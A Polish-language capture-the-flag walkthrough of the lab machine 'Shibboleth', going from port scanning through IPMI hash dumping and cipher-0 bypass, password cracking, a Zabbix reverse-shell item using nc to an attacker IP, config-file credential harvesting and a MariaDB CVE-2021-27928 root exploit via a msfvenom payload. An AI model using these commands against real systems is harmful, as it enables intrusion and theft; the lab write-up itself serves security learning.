Shibboleth - 25.11.2021
NMap
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -T4 -p- 10.10.11.124
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-25 22:50 CET
Nmap scan report for shibboleth.htb (10.10.11.124)
Host is up (0.059s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: FlexStart Bootstra
Mamy otwarty tylko jeden port - 80 HTTP
.
FeroxBuster
feroxbuster -u http://shibboleth.htb -w /opt/SecLists/Discovery/Web-Content/common.txt -t 50 -x html php -s 200 301 302
──────────────────────────────────────────────────
301 9l 28w 317c http://shibboleth.htb/assets
200 426l 1341w 19196c http://shibboleth.htb/blog.html
301 9l 28w 316c http://shibboleth.htb/forms
301 9l 28w 321c http://shibboleth.htb/assets/css
200 1323l 4114w 59474c http://shibboleth.htb/index.html
301 9l 28w 321c http://shibboleth.htb/assets/img
200 1l 8w 44c http://shibboleth.htb/forms/contact.php
301 9l 28w 320c http://shibboleth.htb/assets/js
301 9l 28w 326c http://shibboleth.htb/assets/img/blog
301 9l 28w 329c http://shibboleth.htb/assets/img/clients
301 9l 28w 324c http://shibboleth.htb/assets/vendor
301 9l 28w 331c http://shibboleth.htb/assets/img/portfolio
301 9l 28w 326c http://shibboleth.htb/assets/img/team
301 9l 28w 334c http://shibboleth.htb/assets/img/testimonials
[####################] - 3m 169092/169092 0s found:14 errors:2557
[####################] - 55s 14091/14091 257/s http://shibboleth.htb
[####################] - 1m 14091/14091 199/s http://shibboleth.htb/assets
[####################] - 1m 14091/14091 160/s http://shibboleth.htb/forms
[####################] - 1m 14091/14091 140/s http://shibboleth.htb/assets/css
[####################] - 1m 14091/14091 126/s http://shibboleth.htb/assets/img
[####################] - 1m 14091/14091 132/s http://shibboleth.htb/assets/js
[####################] - 2m 14091/14091 115/s http://shibboleth.htb/assets/img/blog
[####################] - 1m 14091/14091 130/s http://shibboleth.htb/assets/img/clients
[####################] - 1m 14091/14091 135/s http://shibboleth.htb/assets/vendor
[####################] - 1m 14091/14091 157/s http://shibboleth.htb/assets/img/portfolio
[####################] - 1m 14091/14091 190/s http://shibboleth.htb/assets/img/team
[####################] - 1m 14091/14091 198/s http://shibboleth.htb/assets/img/testimonials
Mamy sporo folderów, ale najpierw sprawdzę jak wygląda strona główna.
Strona główna
Przechodzimy na stronę główną.
Wiadomo, że jest to Bootstrap
. Ustaliłem również, że na motywie FlexStart - v1.2.0
.
Postanowiłem sprawdzić foldery. Gdy wszedłem na /forms
zauważyłem ciekawy Index of.
Mamy dwa pliki.
readme.txt
Fully working PHP/AJAX contact form script is available in the pro version of the template.
You can buy it from: https://bootstrapmade.com/flexstart-bootstrap-startup-template/
contact.php
Unable to load the "PHP Email Form" Library!
Nie jest to nic ciekawego na ten moment.
Subdomain enumeration
gobuster vhost -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://shibboleth.htb -o subdomains.txt
┌──(kali㉿kali)-[~/Desktop/shibboleth]
└─$ cat subdomains.txt | grep 200
Found: monitor.shibboleth.htb (Status: 200) [Size: 3686]
Found: monitoring.shibboleth.htb (Status: 200) [Size: 3686]
Found: zabbix.shibboleth.htb (Status: 200) [Size: 3686]
Found: 2009.shibboleth.htb (Status: 302) [Size: 291]
Found: 2008.shibboleth.htb (Status: 302) [Size: 291]
Mamy kilka subdomen. Wszystkie 3 dodałem do /etc/hosts
.
Subdomain zabbix
Zacząłem od sprawdzania zabbix
. Warto tutaj wspomnieć, że zabbix to narzędzie oprogramowania typu open source do monitorowania infrastruktury IT, takiej jak sieci, serwery, maszyny wirtualne i usługi w chmurze.
W kodzie źródłowym znalazłem odnośnik, który może sugerować, że to Zabbix 5.0
.
Możliwe, że jest nawet jakiś exploit na tą wersje.
Niestety, exploit jest Authenticated
, czyli nie użyjemy go bez danych logowania.
Ponowny nmap
Jak się okazało skanowanie nmapem nie ukazało wszystkich portów. Jest jeszcze jeden port UDP, który jest otwarty. Oto nauka na przyszłość, aby przeprowadzać także skany UDP.
Skan nmap po portach UDP
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU 10.10.11.124 -v 130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-29 16:20 CET
Initiating Ping Scan at 16:20
Scanning 10.10.11.124 [4 ports]
Completed Ping Scan at 16:20, 0.00s elapsed (1 total hosts)
Initiating UDP Scan at 16:20
Scanning shibboleth.htb (10.10.11.124) [1000 ports]
Discovered open port 623/udp on 10.10.11.124
Completed UDP Scan at 16:20, 4.70s elapsed (1000 total ports)
Nmap scan report for shibboleth.htb (10.10.11.124)
Host is up (0.015s latency).
Not shown: 999 open|filtered ports
PORT STATE SERVICE
623/udp open asf-rmcp
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.84 seconds
Raw packets sent: 2007 (91.767KB) | Rcvd: 7 (284B)
Szybki research o 623/udp open asf-rmcp
doprowadził mnie do artykułu 623-udp-ipmi.
Scan usługi na Metasploit auxiliary/scanner/ipmi/ipmi_version
[+] 10.10.11.124:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)
Co oznacza, że jest to wersja 2.0
, z artykułu powyżej wynika, że można pozyskać hashe i nazwy użytkowników używając modułu scanner/ipmi/ipmi_dumphashes
.
[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:5159ea5d820100001b33743d86c539516a5b8e058377b2f114a0cd0acc976df16cd443adb8eac06fa123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:dcc9b2f4db67b8e774dc0c59d1d90ee141a2bb86
Nie udało zcrackować się tego hasha SHA-1. Były to próby słownikiem rockyou.txt
. Natomiast jest tutaj podatność IPMI Authentication Bypass via Cipher 0
(artykuł powyżej).
Sprawdziłem użytkowników.
┌──(kali㉿kali)-[~/Desktop/shibboleth]
└─$ ipmitool -I lanplus -C 0 -H 10.10.11.124 -U Administrator -P root user list #Use Cipher 0 to dump a list of users
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
1 true false false USER
2 Administrator true false true USER
3 true false false Unknown (0x00)
Następnie zmieniłem hasło usera od id 2
.
┌──(kali㉿kali)-[~/Desktop/shibboleth]
└─$ ipmitool -I lanplus -C 0 -H 10.10.11.124 -U Administrator -P root user set password 2 abc123 #Change the password of root
Set User Password command successful (user 2)
John The Ripper
Po ponownym sprawdzeniu jednak da się zbruteforce’ować to hasło.
┌──(kali㉿kali)-[~]
└─$ john yes --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (RAKP, IPMI 2.0 RAKP (RMCP+) [HMAC-SHA1 256/256 AVX2 8x])
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovepumkinpie1 (10.10.11.124 Administrator)
1g 0:00:00:02 DONE (2021-11-29 20:36) 0.4854g/s 3589Kp/s 3589Kc/s 3589KC/s iloveqmc..ilovepino
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Zatem mamy pewne dane logowania: Administrator:ilovepumkinpie1
.
Hasło faktycznie pasuje do Zabbixa.
Payload
Tutaj długo szukałem różnych rozwiązań i możliwości. Po pomocy jednego z użytkowników forum znalazłem, że należały stworzyć nowy Item
, gdzie można wykonać określoną komendę.
system.run[rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.156 9001 >/tmp/f &,nowait]
Nasłuchiwanie na porcie 9001, otrzymujemy shell.
User zabbix
Z tego poziomu jeszcze nie możemy podejrzeć flagi user.txt.
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:114::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
ipmi-svc:x:1000:1000:ipmi-svc,,,:/home/ipmi-svc:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
zabbix:x:110:118::/var/lib/zabbix/:/usr/sbin/nologin
Debian-snmp:x:111:119::/var/lib/snmp:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
Widać, że jest użytkownik ipmi-svc
, dla niego spróbowałem wcześniejsze hasło z Zabbixa. Okazało się poprawne.
Zatem:
su ipmi-svc
ilovepumkinpie1
user.txt
d8442cbba2b67fe3c65924dea8414603
Privilege Escalation
Zacząłem od sprawdzenia prostych rzeczy takich jak sudo -l
, grupy. Sprawdziłem również netstat
, widać, że na maszynie mamy prawdopodobnie MySQL.
netstat -an
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:10050 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:10051 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
LinPEAS
Po skończonym skanie, dostrzegłem specyficzną linię w podpunkcie z hasłami. Wygląda to na jakiś plik konfiguracyjny Zabbixa.
╔══════════╣ Finding passwords inside key folders (limit 70) - no PHP files
...
/etc/zabbix/zabbix_server.conf:DBPassword=bloooarskybluh
...
Plik okazał się dosyć spory, wobec czego użyłem komendy grep z wyszukaniem linii z hasłem powyżej oraz załączeniem 10 linii w dół oraz w górę.
cat /etc/zabbix/zabbix_server.conf | grep -A10 -B10 bloooarskybluh
<zabbix_server.conf | grep -A10 -B10 bloooarskybluh
# DBUser=
DBUser=zabbix
### Option: DBPassword
# Database password.
# Comment this line if no password is used.
#
# Mandatory: no
# Default:
DBPassword=bloooarskybluh
### Option: DBSocket
# Path to MySQL socket.
#
# Mandatory: no
# Default:
# DBSocket=
### Option: DBPort
# Database port when not using local socket.
Teraz widać pewne dane dostępowe:
zabbix:bloooarskybluh
Mamy login i hasło, spróbowałem użyć ich do zalogowania się na bazę danych, z powodzeniem.
MariaDB
Teraz kilka komend, by odnaleźć jakieś ciekawe informacje w bazie
SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| zabbix |
+--------------------+
USE zabbix;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
SELECT * FROM users;
+--------+---------------+--------------+---------------+--------------------------------------------------------------+-----+-----------+------------+-------+---------+------+------------+----------------+--------------+---------------+---------------+
| userid | alias | name | surname | passwd | url | autologin | autologout | lang | refresh | type | theme | attempt_failed | attempt_ip | attempt_clock | rows_per_page |
+--------+---------------+--------------+---------------+--------------------------------------------------------------+-----+-----------+------------+-------+---------+------+------------+----------------+--------------+---------------+---------------+
| 1 | Admin | Zabbix | Administrator | $2y$10$L9tjKByfruByB.BaTQJz/epcbDQta4uRM/KySxSZTwZkMGuKTPPT2 | | 0 | 0 | en_GB | 60s | 3 | dark-theme | 9 | 10.10.14.141 | 1639337581 | 50 |
| 2 | guest | | | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06 | | 0 | 15m | en_GB | 30s | 1 | default | 0 | | 0 | 50 |
| 3 | Administrator | IPMI Service | Account | $2y$10$FhkN5OCLQjs3d6C.KtQgdeCc485jKBWPW4igFVEgtIP3jneaN7GQe | | 0 | 0 | en_GB | 60s | 2 | default | 0 | | 0 | 50 |
+--------+---------------+--------------+---------------+--------------------------------------------------------------+-----+-----------+------------+-------+---------+------+------------+----------------+--------------+---------------+---------------+
Niestety znalezione w bazie hashe nie dają się złamać. Zdaje się, że jest to ślepa uliczka.
Linux Exploit Suggester
Postanowiłem sprawdzić maszynę pod kątem jakichś statycznych podatności. Użyłem do tego Linux Exploit Suggester
. Efekt skanu:
hostnamectl
Static hostname: shibboleth
Icon name: computer-vm
Chassis: vm
Machine ID: 13612108a6894baca63a2e86f2062c0e
Boot ID: 099c4638771a489b8f976be6db0d8087
Virtualization: vmware
Operating System: Ubuntu 20.04.1 LTS
Kernel: Linux 5.4.0-89-generic
Architecture: x86-64
Z racji, że jest to Ubuntu, postanowiłem sprawdzić najpierw pierwszą podatność, czyli CVE-2021-3156
.
Jak się okazało poprzez sudoedit -s /
można sprawdzić tą podatność. W tym przypadku sudo nie jest podatne. Zatem ponownie ślepa uliczka.
Powrót do MariaDB
Na tym etapie utknąłem i musiałem spytać się jednego z użytkowników o wskazówkę. Jak się okazało, już chwilę wcześniej byłem na drodze do roota. Chodzi o wersję MariaDB oraz podatność CVE-2021-27928
.
Server version: 10.3.25-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Wersja 10.3.25 MariaDB jest podatna na Command Injection.
https://packetstormsecurity.com/files/162177/MariaDB-10.2-Command-Execution.html
Zgodnie z Proof of Concept stworzyłem najpierw plik w msfvenom.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.174 LPORT=9002 -f elf-so -o test.so
wget http://10.10.14.174/test.so
mysql -u zabbix -p -e 'SET GLOBAL wsrep_provider="/tmp/pp/test.so";'
bloooarskybluh
I podczas nasłuchiwania na porcie 9002 otrzymujemy połączenie.
root.txt
9bdfeddc05b1e2c6078d24b9c4a8f756